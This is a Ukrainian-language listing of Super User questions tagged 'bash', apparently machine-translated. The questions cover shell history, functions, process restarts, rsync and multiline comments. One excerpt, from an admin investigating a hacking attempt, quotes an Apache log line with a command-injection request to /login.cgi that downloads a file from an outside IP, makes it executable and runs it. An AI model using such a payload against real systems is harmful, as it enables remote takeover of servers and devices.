Запитання з тегом «bash»

Bash - це безкоштовна оболонка для операційних систем, схожих на Unix, від проекту GNU.

6
Історія башів не зберігається між термінальними сеансами на Mac
Моя історія башів загадково перестала працювати, і я не маю уявлення, як це виправити. Ось так виглядає мій .bashrc: HISTSIZE=500 HISTFILESIZE=500 HISTFILE=$HOME/.bash_history Однак, коли я запускаю, echo $HISTFILEце роздруковується /Users/myusername/.bash_sessions/EE8689E5-7DAD-4018-817E-0AF1DE36082A.historynew. Я є власником файлу .bash_history, тому я не надто впевнений, як би я пішов на вирішення цієї проблеми. Спасибі!
33 macos  bash  unix  terminal  history 


3
Як вимкнути або позбутися функції башма?
Якщо ви встановите або експортуєте змінну середовища в bash, ви можете її зняти . Якщо ви встановите псевдонім у bash, ви можете скасувати його. Але , здається, не бути unfunction . Розглянемо цю (тривіальну) функцію bash, наприклад, встановіть у .bash_aliases файл та прочитайте при ініціалізації оболонки. function foo () { …

1
Як повернутися назад або передати слово в баш-середовищі? [дублікат]
Можливий дублікат: Як я можу ефективно переміщуватися по командному рядку bash? У вікні Windows можна повернутись назад або вперед одним словом, натискаючи ctrlта <-/->. Який еквівалент у баш-середовищі?


7
Як автоматично перезапустити фоновий процес Linux, якщо він не працює?
У мене процес, який виконується скриптом init.d на задньому плані. Наприклад: case "$1" in start) /bin/myprocess & stop) killall myprocess restart) killall myprocess /bin/myprocess & esac За певних умов мій процес може вийти з ладу і повернутися. Чи є якийсь (стандартний) спосіб, як виявити його збій і перезапустити автоматично?
32 linux  bash  process  daemon 

5
Як запустити команду після вже запущеної, існуючої закінчується?
Якщо я запускаю сценарій, який триватиме тривалий час, я неминуче усвідомлюю його після запуску сценарію, і хочу, щоб у мене був спосіб зробити якесь попередження, коли воно закінчиться. Так, наприклад, якщо я запускаю: really_long_script.sh і натисніть клавішу Enter ... як я можу запустити іншу команду після її завершення?
32 linux  bash  terminal 

6
Як надрукувати файли, які були б змінені за допомогою rsync?
Чи є спосіб отримати rsync для друку повних файлових шляхів до всіх різних файлів без фактичної передачі жодних файлів? Крім того, мені потрібен спосіб розмежування файлів у двох деревах (над SSH), лише на основі зміни розміру або останнього зміненого часу.
32 linux  bash  rsync  diff 

3
Коментарі в багаторядковій команді bash
Цей файл сценарію BASH з однією командою важко зрозуміти, тому я хочу написати коментар до кожної дії: echo 'foo' \ | sed 's/d/a/' \ | sed 's/e/b/' \ | sed 's/f/c/' \ > myfile (sed - це лише приклад, насправді це суміш грепсів, trs і awks) Мені б не хотілося …
32 bash  pipe  comments  sh 

8
Копіюйте файли в Linux, уникайте копії, якщо вони існують за призначенням
Це питання було переміщено із переповнення стека, оскільки на нього можна відповісти на Super User. Мігрували 9 років тому . Мені потрібно скопіювати папку / home / user з одного жорсткого диска на інший. Він має 100 000 файлів і розміром близько 10G. я використовую cp -r /origin /destination іноді …
32 linux  bash 

1
Чи є спосіб зробити баш більш приємним TAB?
Я використовую bash як на своєму Mac, так і в якості оболонки cygwin. В цілому я цілком задоволений цим. Але одна моя скарга полягає в тому, що його завершення TAB не так добре, як завершення TAB командного рядка Windows. Наприклад, якщо є два файли з тим самим префіксом, bash просто …

2
Що робить цей сценарій bash? [Спроба злому]
Останнім часом я помічав на своїх серверах журнали apache, такі дивні рядки: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" Тож я створив спеціальний фільтр Fail2Ban і почав забороняти IP-адреси із запитом цих URL-адрес /login.cgi. Але мені було цікаво, що вони намагаються зробити, тому я витягнув …

2
Як я можу отримати конкретний аргумент з попередньої команди в bash?
У bash ви можете використовувати !*для отримання всіх аргументів з попередньої команди. Наприклад, якщо ви зробили, cp /some/path /some/other/pathа потім зробили mv !*, друга команда буде розширена на mv /some/path /some/other/path. Чи є щось подібне, що може бути використане для доступу до певного аргументу з команди замість усіх?



Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.